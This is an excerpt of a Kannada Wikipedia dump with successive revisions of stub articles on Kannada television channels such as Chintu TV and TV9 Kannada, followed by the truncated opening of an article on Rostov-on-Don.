ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} t81lgbz4pviljmoudtto3w3hcpyagz0 ರಾಜ್ ಮ್ಯೂಸಿಕ್ ಕನ್ನಡ 0 32802 1116613 787729 2022-08-24T09:25:36Z Ishqyk 76644 wikitext text/x-wiki '''ರಾಜ್ ಮ್ಯೂಸಿಕ್ ಕನ್ನಡ''' ಸಂಗೀತದ ಕನ್ನಡದ ಕಿರುತೆರೆ ವಾಹಿನಿ [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] 8i1jv6uewxuxxksn9515lgcgwlnkjg7 ಟಿವಿ೯ ಕನ್ನಡ 0 32804 1116616 358518 2022-08-24T09:27:44Z Ishqyk 76644 wikitext text/x-wiki ಟಿವಿ೯ ಕನ್ನಡ ಸುದ್ದಿ ಕನ್ನಡದ ಕಿರುತೆರೆ ವಾಹಿನಿ {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] abs83qr19scwgugswc56hdr07xfvgly ಚಿಂಟು ಟಿವಿ 0 32809 1116596 1107993 2022-08-24T09:04:44Z Ishqyk 76644 Created by translating the section "ಸಹ ನೋಡಿ" from the page "[[:en:Special:Redirect/revision/1096383222|Chintu TV]]" wikitext text/x-wiki '''ಚಿಂಟು ಟಿವಿ''' ಮಕ್ಕಳ ವಾಹಿನಿ [[ಕನ್ನಡ]]ದ ಕಿರುತೆರೆ ವಾಹಿನಿ {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} ಬಂಡಲೆರೋ , ಜಾಕಿಚಾನ್:The Adventures, ಡೋರಾ:The Explorer , [[ಬಾಲ್ ವೀರ್]] ಇನ್ನೂ ಮುಂತಾದ ಪ್ರಮುಖ ಕಾರ್ಯಕ್ರಮಗಳು ಲಭ್ಯ. {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] == ಸಹ ನೋಡಿ == == ಸಹ ನೋಡಿ == * [[Sun Group|ಸನ್ ಗ್ರೂಪ್]] * [[Sun TV Network|ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್]] * [[List of Kannada-language television channels|ಕನ್ನಡ ಭಾಷೆಯ ದೂರದರ್ಶನ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] * ಬಾಲ್ವೀರ್ dndnd rjr f fnfnfdj 2k34ri57u0q4ghirwqhhleirzwdt952 1116597 1116596 2022-08-24T09:05:08Z Ishqyk 76644 wikitext text/x-wiki '''ಚಿಂಟು ಟಿವಿ''' ಮಕ್ಕಳ ವಾಹಿನಿ [[ಕನ್ನಡ]]ದ ಕಿರುತೆರೆ ವಾಹಿನಿ {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} ಬಂಡಲೆರೋ , ಜಾಕಿಚಾನ್:The Adventures, ಡೋರಾ:The Explorer , [[ಬಾಲ್ ವೀರ್]] ಇನ್ನೂ ಮುಂತಾದ ಪ್ರಮುಖ ಕಾರ್ಯಕ್ರಮಗಳು ಲಭ್ಯ. {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] == ಸಹ ನೋಡಿ == * [[Sun Group|ಸನ್ ಗ್ರೂಪ್]] * [[Sun TV Network|ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್]] * [[List of Kannada-language television channels|ಕನ್ನಡ ಭಾಷೆಯ ದೂರದರ್ಶನ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] * ಬಾಲ್ವೀರ್ dndnd rjr f fnfnfdj bbm86xku8v7xe3994ribj4ha0uf6suj 1116598 1116597 2022-08-24T09:08:30Z Ishqyk 76644 wikitext text/x-wiki '''ಚಿಂಟು ಟಿವಿ''' ಭಾರತದಲ್ಲಿ ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನಿಂದ 24-ಗಂಟೆಗಳ ಪ್ರಸಾರದ ಕನ್ನಡ ಮಕ್ಕಳ ದೂರದರ್ಶನ ಚಾನೆಲ್ ಆಗಿದೆ .ಇದರ ಗುರಿ ಪ್ರೇಕ್ಷಕರು 3 ಮತ್ತು 14 ರ ನಡುವಿನ ವಯಸ್ಸಿನ ಮಕ್ಕಳು. ಇದನ್ನು 11 ಏಪ್ರಿಲ್ 2009 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು; ಇದು ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ ಮೊದಲ ಕನ್ನಡ ಮಕ್ಕಳ ದೂರದರ್ಶನ ವಾಹಿನಿಯಾಗಿದೆ ಚಿಂಟು ಟಿವಿಯು ಹೆಚ್ಚಿನ ಸ್ಥಳೀಯ ಕೇಬಲ್ ಟೆಲಿವಿಷನ್ ನೆಟ್‌ವರ್ಕ್‌ಗಳಲ್ಲಿ ಲಭ್ಯವಿರುವ ಉಚಿತ-ವಾಯು ಚಾನೆಲ್ ಆಗಿದೆ. ಡಿಟಿಎಚ್ ಪ್ಲಾಟ್‌ಫಾರ್ಮ್‌ನಲ್ಲಿ, ಚಾನೆಲ್ 260 ಮೂಲಕ ಭಾರತದಲ್ಲಿ ಸನ್ ಡೈರೆಕ್ಟ್‌ನಲ್ಲಿ ಚಾನಲ್ ಲಭ್ಯವಿದೆ . ಇದು ಸ್ಥಳೀಯ ಅನುರಣನ ಮತ್ತು ಪ್ರಾದೇಶಿಕ ಪರಿಮಳವನ್ನು ನೀಡುವ ಕನ್ನಡಕ್ಕೆ ಡಬ್ ಮಾಡಲಾದ ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ . {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] == ಸಹ ನೋಡಿ == * [[Sun Group|ಸನ್ ಗ್ರೂಪ್]] * [[Sun TV Network|ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್]] * [[List of Kannada-language television channels|ಕನ್ನಡ ಭಾಷೆಯ ದೂರದರ್ಶನ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] * ಬಾಲ್ವೀರ್ dndnd rjr f fnfnfdj i9lz909z7gpkr9x04kme838m6bfezs7 1116599 1116598 2022-08-24T09:16:49Z Ishqyk 76644 wikitext text/x-wiki '''ಚಿಂಟು ಟಿವಿ''' ಭಾರತದಲ್ಲಿ ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನಿಂದ 24-ಗಂಟೆಗಳ ಪ್ರಸಾರದ ಕನ್ನಡ ಮಕ್ಕಳ ದೂರದರ್ಶನ ಚಾನೆಲ್ ಆಗಿದೆ .ಇದರ ಗುರಿ ಪ್ರೇಕ್ಷಕರು 3 ಮತ್ತು 14 ರ ನಡುವಿನ ವಯಸ್ಸಿನ ಮಕ್ಕಳು. ಇದನ್ನು 11 ಏಪ್ರಿಲ್ 2009 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು; ಇದು ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ ಮೊದಲ ಕನ್ನಡ ಮಕ್ಕಳ ದೂರದರ್ಶನ ವಾಹಿನಿಯಾಗಿದೆ {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ | name = CHINTU TV | logofile = | logo_caption = | launch_date = | country = ಭಾರತ | network = ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್ | owner = ಸನ್ ಗ್ರೂಪ್1 | picture_format = | language = [[ಕನ್ನಡ]]<br>[[ಆಂಗ್ಲ]] | area = | sister_channels = | timeshift_service = | headquarters = [[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]]. | website = |broadcast area=[[ಭಾರತ]]<br />[[ಶ್ರೀ ಲಂಕಾ]]|sister names=ಕುಶಿ ಟಿವಿ<br /> ಚುಟ್ಟಿ ಟಿವಿ <br /> ಕೊಚ್ಚು ಟಿವಿ|launch=11 ಏಪ್ರಿಲ್ 2009|picture format=[[576ಐ]]|web=[http://Chintu.sunnetwork.in/ ಚಿಂಟುಟಿವಿ ವೆಬ್ಸೈಟ್]}} ಚಿಂಟು ಟಿವಿಯು ಹೆಚ್ಚಿನ ಸ್ಥಳೀಯ ಕೇಬಲ್ ಟೆಲಿವಿಷನ್ ನೆಟ್‌ವರ್ಕ್‌ಗಳಲ್ಲಿ ಲಭ್ಯವಿರುವ ಉಚಿತ-ವಾಯು ಚಾನೆಲ್ ಆಗಿದೆ. ಡಿಟಿಎಚ್ ಪ್ಲಾಟ್‌ಫಾರ್ಮ್‌ನಲ್ಲಿ, ಚಾನೆಲ್ 260 ಮೂಲಕ ಭಾರತದಲ್ಲಿ ಸನ್ ಡೈರೆಕ್ಟ್‌ನಲ್ಲಿ ಚಾನಲ್ ಲಭ್ಯವಿದೆ . ಇದು ಸ್ಥಳೀಯ ಅನುರಣನ ಮತ್ತು ಪ್ರಾದೇಶಿಕ ಪರಿಮಳವನ್ನು ನೀಡುವ ಕನ್ನಡಕ್ಕೆ ಡಬ್ ಮಾಡಲಾದ ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ . {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] == ಸಹ ನೋಡಿ == * [[Sun Group|ಸನ್ ಗ್ರೂಪ್]] * [[Sun TV Network|ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್]] * [[List of Kannada-language television channels|ಕನ್ನಡ ಭಾಷೆಯ ದೂರದರ್ಶನ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] * ಬಾಲ್ವೀರ್ dndnd rjr f fnfnfdj hpzgprvxewpw2qzfo912tugkac076qu 1116600 1116599 2022-08-24T09:17:58Z Ishqyk 76644 wikitext text/x-wiki '''ಚಿಂಟು ಟಿವಿ''' ಭಾರತದಲ್ಲಿ ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನಿಂದ 24-ಗಂಟೆಗಳ ಪ್ರಸಾರದ ಕನ್ನಡ ಮಕ್ಕಳ ದೂರದರ್ಶನ ಚಾನೆಲ್ ಆಗಿದೆ .ಇದರ ಗುರಿ ಪ್ರೇಕ್ಷಕರು 3 ಮತ್ತು 14 ರ ನಡುವಿನ ವಯಸ್ಸಿನ ಮಕ್ಕಳು. ಇದನ್ನು 11 ಏಪ್ರಿಲ್ 2009 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು; ಇದು ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ ಮೊದಲ ಕನ್ನಡ ಮಕ್ಕಳ ದೂರದರ್ಶನ ವಾಹಿನಿಯಾಗಿದೆ {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ | name = ಚಿಂಟು ಟಿವಿ | logofile = | logo_caption = | launch_date = | country = ಭಾರತ | network = ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್ | owner = ಸನ್ ಗ್ರೂಪ್ | picture_format = | language = [[ಕನ್ನಡ]]<br>[[ಆಂಗ್ಲ]] | area = | sister_channels = | timeshift_service = | headquarters = [[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]]. | website = |broadcast area=[[ಭಾರತ]]<br />[[ಶ್ರೀ ಲಂಕಾ]]|sister names=ಕುಶಿ ಟಿವಿ<br /> ಚುಟ್ಟಿ ಟಿವಿ <br /> ಕೊಚ್ಚು ಟಿವಿ|launch=11 ಏಪ್ರಿಲ್ 2009|picture format=[[576ಐ]]|web=[http://Chintu.sunnetwork.in/ ಚಿಂಟುಟಿವಿ ವೆಬ್ಸೈಟ್]}} ಚಿಂಟು ಟಿವಿಯು ಹೆಚ್ಚಿನ ಸ್ಥಳೀಯ ಕೇಬಲ್ ಟೆಲಿವಿಷನ್ ನೆಟ್‌ವರ್ಕ್‌ಗಳಲ್ಲಿ ಲಭ್ಯವಿರುವ ಉಚಿತ-ವಾಯು ಚಾನೆಲ್ ಆಗಿದೆ. ಡಿಟಿಎಚ್ ಪ್ಲಾಟ್‌ಫಾರ್ಮ್‌ನಲ್ಲಿ, ಚಾನೆಲ್ 260 ಮೂಲಕ ಭಾರತದಲ್ಲಿ ಸನ್ ಡೈರೆಕ್ಟ್‌ನಲ್ಲಿ ಚಾನಲ್ ಲಭ್ಯವಿದೆ . ಇದು ಸ್ಥಳೀಯ ಅನುರಣನ ಮತ್ತು ಪ್ರಾದೇಶಿಕ ಪರಿಮಳವನ್ನು ನೀಡುವ ಕನ್ನಡಕ್ಕೆ ಡಬ್ ಮಾಡಲಾದ ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ . == ಸಹ ನೋಡಿ == * [[Sun Group|ಸನ್ ಗ್ರೂಪ್]] * [[Sun TV Network|ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್]] * [[List of Kannada-language television channels|ಕನ್ನಡ ಭಾಷೆಯ ದೂರದರ್ಶನ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] 6jpzd0d4qbucq4dv100a13p76nub8p2 1116619 1116600 2022-08-24T11:11:26Z Ishqyk 76644 wikitext text/x-wiki '''ಚಿಂಟು ಟಿವಿ''' ಭಾರತದಲ್ಲಿ ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನಿಂದ 24-ಗಂಟೆಗಳ ಪ್ರಸಾರದ ಕನ್ನಡ ಮಕ್ಕಳ ದೂರದರ್ಶನ ಚಾನೆಲ್ ಆಗಿದೆ .ಇದರ ಗುರಿ ಪ್ರೇಕ್ಷಕರು 3 ಮತ್ತು 14 ರ ನಡುವಿನ ವಯಸ್ಸಿನ ಮಕ್ಕಳು. ಇದನ್ನು 11 ಏಪ್ರಿಲ್ 2009 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು; ಇದು ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ ಮೊದಲ ಕನ್ನಡ ಮಕ್ಕಳ ದೂರದರ್ಶನ ವಾಹಿನಿಯಾಗಿದೆ {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ | name = ಚಿಂಟು ಟಿವಿ | logofile = Chintu tv chanel.png | logo_caption = | launch_date = | country = ಭಾರತ | network = ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್ | owner = ಸನ್ ಗ್ರೂಪ್ | picture_format = | language = [[ಕನ್ನಡ]]<br>[[ಆಂಗ್ಲ]] | area = | sister_channels = | timeshift_service = | headquarters = [[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]]. | website = |broadcast area=[[ಭಾರತ]]<br />[[ಶ್ರೀ ಲಂಕಾ]]|sister names=ಕುಶಿ ಟಿವಿ<br /> ಚುಟ್ಟಿ ಟಿವಿ <br /> ಕೊಚ್ಚು ಟಿವಿ|launch=11 ಏಪ್ರಿಲ್ 2009|picture format=[[576ಐ]]|web=[http://Chintu.sunnetwork.in/ ಚಿಂಟುಟಿವಿ ವೆಬ್ಸೈಟ್]}} ಚಿಂಟು ಟಿವಿಯು ಹೆಚ್ಚಿನ ಸ್ಥಳೀಯ ಕೇಬಲ್ ಟೆಲಿವಿಷನ್ ನೆಟ್‌ವರ್ಕ್‌ಗಳಲ್ಲಿ ಲಭ್ಯವಿರುವ ಉಚಿತ-ವಾಯು ಚಾನೆಲ್ ಆಗಿದೆ. ಡಿಟಿಎಚ್ ಪ್ಲಾಟ್‌ಫಾರ್ಮ್‌ನಲ್ಲಿ, ಚಾನೆಲ್ 260 ಮೂಲಕ ಭಾರತದಲ್ಲಿ ಸನ್ ಡೈರೆಕ್ಟ್‌ನಲ್ಲಿ ಚಾನಲ್ ಲಭ್ಯವಿದೆ . ಇದು ಸ್ಥಳೀಯ ಅನುರಣನ ಮತ್ತು ಪ್ರಾದೇಶಿಕ ಪರಿಮಳವನ್ನು ನೀಡುವ ಕನ್ನಡಕ್ಕೆ ಡಬ್ ಮಾಡಲಾದ ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ . == ಸಹ ನೋಡಿ == * [[Sun Group|ಸನ್ ಗ್ರೂಪ್]] * [[Sun TV Network|ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್]] * [[List of Kannada-language television channels|ಕನ್ನಡ ಭಾಷೆಯ ದೂರದರ್ಶನ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] br3gh1ohps8u43ahoeneizqqivvqlse 1116620 1116619 2022-08-24T11:12:03Z Ishqyk 76644 added [[Category:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] using [[Help:Gadget-HotCat|HotCat]] wikitext text/x-wiki '''ಚಿಂಟು ಟಿವಿ''' ಭಾರತದಲ್ಲಿ ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನಿಂದ 24-ಗಂಟೆಗಳ ಪ್ರಸಾರದ ಕನ್ನಡ ಮಕ್ಕಳ ದೂರದರ್ಶನ ಚಾನೆಲ್ ಆಗಿದೆ .ಇದರ ಗುರಿ ಪ್ರೇಕ್ಷಕರು 3 ಮತ್ತು 14 ರ ನಡುವಿನ ವಯಸ್ಸಿನ ಮಕ್ಕಳು. ಇದನ್ನು 11 ಏಪ್ರಿಲ್ 2009 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು; ಇದು ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ ಮೊದಲ ಕನ್ನಡ ಮಕ್ಕಳ ದೂರದರ್ಶನ ವಾಹಿನಿಯಾಗಿದೆ {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ | name = ಚಿಂಟು ಟಿವಿ | logofile = Chintu tv chanel.png | logo_caption = | launch_date = | country = ಭಾರತ | network = ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್ | owner = ಸನ್ ಗ್ರೂಪ್ | picture_format = | language = [[ಕನ್ನಡ]]<br>[[ಆಂಗ್ಲ]] | area = | sister_channels = | timeshift_service = | headquarters = [[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]]. | website = |broadcast area=[[ಭಾರತ]]<br />[[ಶ್ರೀ ಲಂಕಾ]]|sister names=ಕುಶಿ ಟಿವಿ<br /> ಚುಟ್ಟಿ ಟಿವಿ <br /> ಕೊಚ್ಚು ಟಿವಿ|launch=11 ಏಪ್ರಿಲ್ 2009|picture format=[[576ಐ]]|web=[http://Chintu.sunnetwork.in/ ಚಿಂಟುಟಿವಿ ವೆಬ್ಸೈಟ್]}} ಚಿಂಟು ಟಿವಿಯು ಹೆಚ್ಚಿನ ಸ್ಥಳೀಯ ಕೇಬಲ್ ಟೆಲಿವಿಷನ್ ನೆಟ್‌ವರ್ಕ್‌ಗಳಲ್ಲಿ ಲಭ್ಯವಿರುವ ಉಚಿತ-ವಾಯು ಚಾನೆಲ್ ಆಗಿದೆ. ಡಿಟಿಎಚ್ ಪ್ಲಾಟ್‌ಫಾರ್ಮ್‌ನಲ್ಲಿ, ಚಾನೆಲ್ 260 ಮೂಲಕ ಭಾರತದಲ್ಲಿ ಸನ್ ಡೈರೆಕ್ಟ್‌ನಲ್ಲಿ ಚಾನಲ್ ಲಭ್ಯವಿದೆ . ಇದು ಸ್ಥಳೀಯ ಅನುರಣನ ಮತ್ತು ಪ್ರಾದೇಶಿಕ ಪರಿಮಳವನ್ನು ನೀಡುವ ಕನ್ನಡಕ್ಕೆ ಡಬ್ ಮಾಡಲಾದ ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ . == ಸಹ ನೋಡಿ == * [[Sun Group|ಸನ್ ಗ್ರೂಪ್]] * [[Sun TV Network|ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್]] * [[List of Kannada-language television channels|ಕನ್ನಡ ಭಾಷೆಯ ದೂರದರ್ಶನ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] lipjtt7p75jnbvkvg4r5i96bttc823c 1116621 1116620 2022-08-24T11:12:25Z Ishqyk 76644 added [[Category:ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] using [[Help:Gadget-HotCat|HotCat]] wikitext text/x-wiki '''ಚಿಂಟು ಟಿವಿ''' ಭಾರತದಲ್ಲಿ ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನಿಂದ 24-ಗಂಟೆಗಳ ಪ್ರಸಾರದ ಕನ್ನಡ ಮಕ್ಕಳ ದೂರದರ್ಶನ ಚಾನೆಲ್ ಆಗಿದೆ .ಇದರ ಗುರಿ ಪ್ರೇಕ್ಷಕರು 3 ಮತ್ತು 14 ರ ನಡುವಿನ ವಯಸ್ಸಿನ ಮಕ್ಕಳು. ಇದನ್ನು 11 ಏಪ್ರಿಲ್ 2009 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು; ಇದು ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ ಮೊದಲ ಕನ್ನಡ ಮಕ್ಕಳ ದೂರದರ್ಶನ ವಾಹಿನಿಯಾಗಿದೆ {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ | name = ಚಿಂಟು ಟಿವಿ | logofile = Chintu tv chanel.png | logo_caption = | launch_date = | country = ಭಾರತ | network = ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್ | owner = ಸನ್ ಗ್ರೂಪ್ | picture_format = | language = [[ಕನ್ನಡ]]<br>[[ಆಂಗ್ಲ]] | area = | sister_channels = | timeshift_service = | headquarters = [[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]]. | website = |broadcast area=[[ಭಾರತ]]<br />[[ಶ್ರೀ ಲಂಕಾ]]|sister names=ಕುಶಿ ಟಿವಿ<br /> ಚುಟ್ಟಿ ಟಿವಿ <br /> ಕೊಚ್ಚು ಟಿವಿ|launch=11 ಏಪ್ರಿಲ್ 2009|picture format=[[576ಐ]]|web=[http://Chintu.sunnetwork.in/ ಚಿಂಟುಟಿವಿ ವೆಬ್ಸೈಟ್]}} ಚಿಂಟು ಟಿವಿಯು ಹೆಚ್ಚಿನ ಸ್ಥಳೀಯ ಕೇಬಲ್ ಟೆಲಿವಿಷನ್ ನೆಟ್‌ವರ್ಕ್‌ಗಳಲ್ಲಿ ಲಭ್ಯವಿರುವ ಉಚಿತ-ವಾಯು ಚಾನೆಲ್ ಆಗಿದೆ. ಡಿಟಿಎಚ್ ಪ್ಲಾಟ್‌ಫಾರ್ಮ್‌ನಲ್ಲಿ, ಚಾನೆಲ್ 260 ಮೂಲಕ ಭಾರತದಲ್ಲಿ ಸನ್ ಡೈರೆಕ್ಟ್‌ನಲ್ಲಿ ಚಾನಲ್ ಲಭ್ಯವಿದೆ . ಇದು ಸ್ಥಳೀಯ ಅನುರಣನ ಮತ್ತು ಪ್ರಾದೇಶಿಕ ಪರಿಮಳವನ್ನು ನೀಡುವ ಕನ್ನಡಕ್ಕೆ ಡಬ್ ಮಾಡಲಾದ ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ . == ಸಹ ನೋಡಿ == * [[Sun Group|ಸನ್ ಗ್ರೂಪ್]] * [[Sun TV Network|ಸನ್ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್]] * [[List of Kannada-language television channels|ಕನ್ನಡ ಭಾಷೆಯ ದೂರದರ್ಶನ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] ejxigjo05a0qjwq234ry8ezqm1sel6v ಸಮಯ ೨೪‍‌‍X೭ 0 32811 1116612 358522 2022-08-24T09:24:53Z Ishqyk 76644 wikitext text/x-wiki ಸಮಯ ೨೪‍‌‍X೭ ಸುದ್ದಿ ಕನ್ನಡದ ಕಿರುತೆರೆ ವಾಹಿನಿ {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] [[ವರ್ಗ:ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] ompnp5tx7c3v51pwhol90o39e2205b4 ರಾಸ್ಟೊವ್-ಆನ್-ಡಾನ್ 0 38863 1116414 818550 2022-08-23T12:08:22Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox ಊರು |name = ರಾಸ್ಟೊವ್-ಆನ್ -ಡಾನ್ |native_name = Ростов-на-Дону ''Rostov-on-Don'' |image_skyline = City Duma Building (Rostov-on-Don)2.jpg |image_caption = |latd = 47 |latm = 14 |lats = |latNS=N |longEW=W |longd = 39 |longm = 43 |longs = |image_map = Outline Map of Rostov Oblast.svg |map_caption = |image_seal =Rostov-na-Donu flag.svg |image_flag = Coat of Arms of Rostov-on-Don.svg |subdivision_type = [[ಸಾರ್ವಭೌಮ ರಾಷ್ಟ್ರಗಳ ಪಟ್ಟಿ|ದೇಶ]] |subdivision_name = {{flagicon|Russia}} [[ರಷ್ಯ]] |area_total_km2 = 354 |population_total = 1 109 800 |population_note = ಹತ್ತನೇ |leader_title= ಮಹಾಪೌರ |leader_name = Mikhail Chernyshev |established_title = |established_date = | established_title1 = | established_date1 = | established_title2 = | established_date2 = | established_title3 = | established_date3 = | postal_code_type = |postal_code = 344000—344999 |website = [http://www.rostov-gorod.ru/index.php] }} '''ರಾಸ್ಟೊವ್-ಆನ್ -ಡಾನ್ (Ростов-на-Дону)''' - ದಕ್ಷಿಣ ರಶಿಯಾ, ರಾಸ್ಟೊವ್ ಪ್ರದೇಶದ ಆಡಳಿತ ಕೇಂದ್ರ ಮತ್ತು ದಕ್ಷಿಣ ಫೆಡರಲ್ ಜಿಲ್ಲಾ ಕೇಂದ್ರದಲ್ಲಿ ದೊಡ್ಡ ನಗರ. ಡಿಸೆಂಬರ್ 15, 1749 ರಾಣಿ ಎಲಿಜಬೆತ್ಳ ಆಧಾರಿತ ಡಿಪ್ಲೊಮಾ. ಡಾನ್ 